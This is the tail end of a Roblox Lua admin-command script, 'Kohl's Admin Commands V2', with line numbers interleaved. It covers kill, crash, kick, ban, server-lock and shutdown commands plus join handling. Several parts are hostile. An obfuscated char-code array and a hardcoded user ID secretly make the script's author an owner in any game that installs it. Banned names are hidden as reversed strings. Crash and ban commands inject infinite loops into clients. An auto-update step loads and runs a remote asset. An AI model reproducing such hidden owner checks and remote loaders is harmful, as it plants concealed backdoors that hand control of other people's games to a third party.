local cf = v.Character.Torso.CFrame
2267
p.CFrame = cf
2268
for i = 1, 333 do
2269
p.Size = p.Size + Vector3.new(3,3,3)
2270
p.CFrame = cf
2271
wait(1/44)
2272
end
2273
p:Destroy()
2274
end
2275
end))
2276
end
2277
end
2278
 
2279
end
2280
 
2281
--------------------------
2282
-- Super Admin Commands --
2283
--------------------------
2284
 
2285
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2286
 
2287
if msg:lower() == "logs" then
2288
if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
2289
local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
2290
for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
2291
end
2292
       
2293
if msg:lower():sub(1,9) == "loopkill " then
2294
local chk1 = msg:lower():sub(10):find(" ")
2295
local plrz = GetPlr(plr, msg:lower():sub(10))
2296
local num = 9999
2297
if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
2298
for i, v in pairs(plrz) do
2299
if v and not ChkAdmin(v.Name, false) then
2300
local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
2301
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2302
for i = 1, ]] .. tostring(num) .. [[ do
2303
repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
2304
coroutine.resume(coroutine.create(function()
2305
if plr and plr.Character then plr.Character:BreakJoints() end
2306
end))
2307
end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2308
end
2309
end
2310
end
2311
 
2312
if msg:lower():sub(1,11) == "unloopkill " then
2313
local plrz = GetPlr(plr, msg:lower():sub(12))
2314
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2315
end
2316
 
2317
if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
2318
if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
2319
 
2320
if msg:lower():sub(1,3) == "sm " then
2321
Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
2322
end
2323
 
2324
if msg:lower():sub(1,3) == "ko " then
2325
local chk1 = msg:lower():sub(4):find(" ") + 3
2326
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
2327
local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
2328
for n = 1, num do
2329
for i, v in pairs(plrz) do
2330
coroutine.resume(coroutine.create(function()
2331
if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
2332
local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
2333
v.Character:BreakJoints()
2334
wait(1/44)
2335
v:LoadCharacter()
2336
wait(1/44)
2337
end
2338
end))
2339
end
2340
end
2341
end
2342
 
2343
if msg:lower():sub(1,6) == "crash " then
2344
local plrz = GetPlr(plr, msg:lower():sub(7))
2345
for i, v in pairs(plrz) do
2346
coroutine.resume(coroutine.create(function()
2347
if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
2348
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
2349
end
2350
end))
2351
end
2352
end
2353
 
2354
if msg:lower():sub(1,5) == "kick " then
2355
local plrz = GetPlr(plr, msg:lower():sub(6))
2356
for i, v in pairs(plrz) do
2357
coroutine.resume(coroutine.create(function()
2358
if v and not ChkAdmin(v.Name, false) then v:Destroy() end
2359
end))
2360
end
2361
end
2362
 
2363
if msg:lower():sub(1,6) == "admin " then
2364
local plrz = GetPlr(plr, msg:lower():sub(7))
2365
for i, v in pairs(plrz) do
2366
coroutine.resume(coroutine.create(function()
2367
if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2368
end))
2369
end
2370
end
2371
 
2372
if msg:lower():sub(1,8) == "unadmin " then
2373
for i = 1, #tempadmins do
2374
coroutine.resume(coroutine.create(function()
2375
if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
2376
end))
2377
end
2378
end
2379
 
2380
if msg:lower():sub(1,4) == "ban " then
2381
local plrz = GetPlr(plr, msg:lower():sub(5))
2382
for i, v in pairs(plrz) do
2383
coroutine.resume(coroutine.create(function()
2384
if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
2385
end))
2386
end
2387
end
2388
 
2389
if msg:lower():sub(1,6) == "unban " then
2390
for i = 1, #banland do
2391
coroutine.resume(coroutine.create(function()
2392
if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
2393
end))
2394
end
2395
end
2396
 
2397
if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
2398
 
2399
end
2400
end))
2401
end
2402
 
2403
function AdminControl(plr)
2404
coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
2405
if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
2406
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
2407
local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
2408
local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
2409
box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
2410
end)) end
2411
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2412
coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
2413
coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
2414
coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
2415
coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
2416
plr.Chatted:connect(function(msg) Chat(msg,plr) end)
2417
end
2418
 
2419
if not ntab then script:Destroy() end
2420
if not bct then script:Destroy() end
2421
 
2422
local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
2423
 
2424
script.Name = "Kohl's Admin Commands V2"
2425
 
2426
if not ntab then script:Destroy() end
2427
if not bct then script:Destroy() end
2428
if not tcb then script:Destroy() end
2429
game.Players.PlayerAdded:connect(AdminControl)
2430
for i, v in pairs(game.Players:children()) do AdminControl(v) end
2431
end
2432
 
2433
local mod = game:service("InsertService"):LoadAsset(100808216)
2434
if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
2435
local newac = mod:findFirstChild("Kohl's Admin Commands V2")
2436
newac.Disabled = true
2437
local new = tonumber(mod:findFirstChild("Version", true).Value)
2438
local old = 0
2439
if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
2440
if new > old then
2441
local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
2442
for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
2443
for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
2444
for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
2445
for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
2446
local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
2447
local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
2448
local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
2449
local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
2450
local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
2451
local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
2452
local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
2453
wait()
2454
newac.Parent = game.Workspace
2455
newac.Disabled = false
2456
script.Disabled = true
2457
script:Destroy()
2458
else
2459
CHEESE()
2460
end
2461
else
2462
CHEESE()
2463
end